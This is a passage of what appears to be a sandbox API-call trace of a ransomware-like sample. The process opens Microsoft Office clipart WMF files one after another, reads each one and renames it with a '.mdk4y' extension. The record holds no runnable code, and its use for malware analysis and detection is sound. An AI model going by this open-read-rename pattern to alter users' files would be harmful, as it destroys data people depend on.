dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.846] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824707600000) returned 1 [0171.846] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3f9c, lpOverlapped=0x0) returned 1 [0171.858] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824708800000) returned 1 [0171.858] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824708800000) returned 1 [0171.858] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01191_.wmf.mdk4y")) returned 1 [0171.859] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.859] AreFileApisANSI () returned 1 [0171.859] GetACP () returned 0x4e4 [0171.859] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE01661_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE01661_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.859] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01661_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.860] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824709000000) returned 1 [0171.860] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1418, lpOverlapped=0x0) returned 1 [0171.861] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01661_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01661_.wmf.mdk4y")) returned 1 [0171.862] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.862] AreFileApisANSI () returned 1 [0171.862] GetACP () returned 0x4e4 [0171.862] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE01797_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE01797_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.862] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01797_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.862] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xdda, lpOverlapped=0x0) returned 1 [0171.871] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01797_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01797_.wmf.mdk4y")) returned 1 [0171.871] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.872] AreFileApisANSI () returned 1 [0171.872] GetACP () returned 0x4e4 [0171.872] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE02120_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE02120_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.872] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02120_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.872] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x23d4, lpOverlapped=0x0) returned 1 [0171.880] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02120_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02120_.wmf.mdk4y")) returned 1 [0171.881] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.881] AreFileApisANSI () returned 1 [0171.881] GetACP () returned 0x4e4 [0171.881] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE02169_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE02169_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.881] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.882] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1fc4, lpOverlapped=0x0) returned 1 [0171.886] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02169_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02169_.wmf.mdk4y")) returned 1 [0171.887] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.887] AreFileApisANSI () returned 1 [0171.887] GetACP () returned 0x4e4 [0171.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE02262_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE02262_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.887] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.887] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x75e2, lpOverlapped=0x0) returned 1 [0171.913] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02262_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02262_.wmf.mdk4y")) returned 1 [0171.914] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.914] AreFileApisANSI () returned 1 [0171.914] GetACP () returned 0x4e4 [0171.914] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE02263_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE02263_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.914] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02263_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.915] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x824e, lpOverlapped=0x0) returned 1 [0171.926] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02263_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02263_.wmf.mdk4y")) returned 1 [0171.927] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.927] AreFileApisANSI () returned 1 [0171.927] GetACP () returned 0x4e4 [0171.927] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE02265_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE02265_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.927] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.928] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x62b2, lpOverlapped=0x0) returned 1 [0171.935] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02265_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02265_.wmf.mdk4y")) returned 1 [0171.936] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.936] AreFileApisANSI () returned 1 [0171.936] GetACP () returned 0x4e4 [0171.936] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE02267_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE02267_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.936] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.937] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x78e0, lpOverlapped=0x0) returned 1 [0171.939] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02267_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02267_.wmf.mdk4y")) returned 1 [0171.939] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.939] AreFileApisANSI () returned 1 [0171.939] GetACP () returned 0x4e4 [0171.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE02270_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE02270_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.940] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.940] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6f26, lpOverlapped=0x0) returned 1 [0171.950] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02270_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02270_.wmf.mdk4y")) returned 1 [0171.951] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.951] AreFileApisANSI () returned 1 [0171.951] GetACP () returned 0x4e4 [0171.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE02278_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE02278_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.951] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02278_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.952] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb9c4, lpOverlapped=0x0) returned 1 [0171.954] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02278_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02278_.wmf.mdk4y")) returned 1 [0171.955] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.955] AreFileApisANSI () returned 1 [0171.955] GetACP () returned 0x4e4 [0171.955] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE02280_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE02280_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.955] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02280_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.955] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6928, lpOverlapped=0x0) returned 1 [0171.965] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02280_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02280_.wmf.mdk4y")) returned 1 [0171.966] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.966] AreFileApisANSI () returned 1 [0171.966] GetACP () returned 0x4e4 [0171.966] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE02282_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE02282_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.966] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.967] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7400, lpOverlapped=0x0) returned 1 [0171.973] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02282_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02282_.wmf.mdk4y")) returned 1 [0171.974] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.974] AreFileApisANSI () returned 1 [0171.974] GetACP () returned 0x4e4 [0171.974] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE02285_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE02285_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.974] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02285_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.975] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4090, lpOverlapped=0x0) returned 1 [0171.976] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02285_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02285_.wmf.mdk4y")) returned 1 [0171.977] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.977] AreFileApisANSI () returned 1 [0171.977] GetACP () returned 0x4e4 [0171.977] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE02287_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE02287_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.977] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02287_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.978] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4584, lpOverlapped=0x0) returned 1 [0171.980] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02287_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02287_.wmf.mdk4y")) returned 1 [0171.980] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.980] AreFileApisANSI () returned 1 [0171.980] GetACP () returned 0x4e4 [0171.980] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE02288_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE02288_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.980] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02288_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.983] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x76e0, lpOverlapped=0x0) returned 1 [0171.990] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02288_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02288_.wmf.mdk4y")) returned 1 [0171.991] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.991] AreFileApisANSI () returned 1 [0171.991] GetACP () returned 0x4e4 [0171.992] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE02293_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE02293_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.992] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02293_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.992] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5850, lpOverlapped=0x0) returned 1 [0172.002] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02293_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02293_.wmf.mdk4y")) returned 1 [0172.003] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.003] AreFileApisANSI () returned 1 [0172.003] GetACP () returned 0x4e4 [0172.003] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE02296_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE02296_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.003] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.004] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5328, lpOverlapped=0x0) returned 1 [0172.010] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft 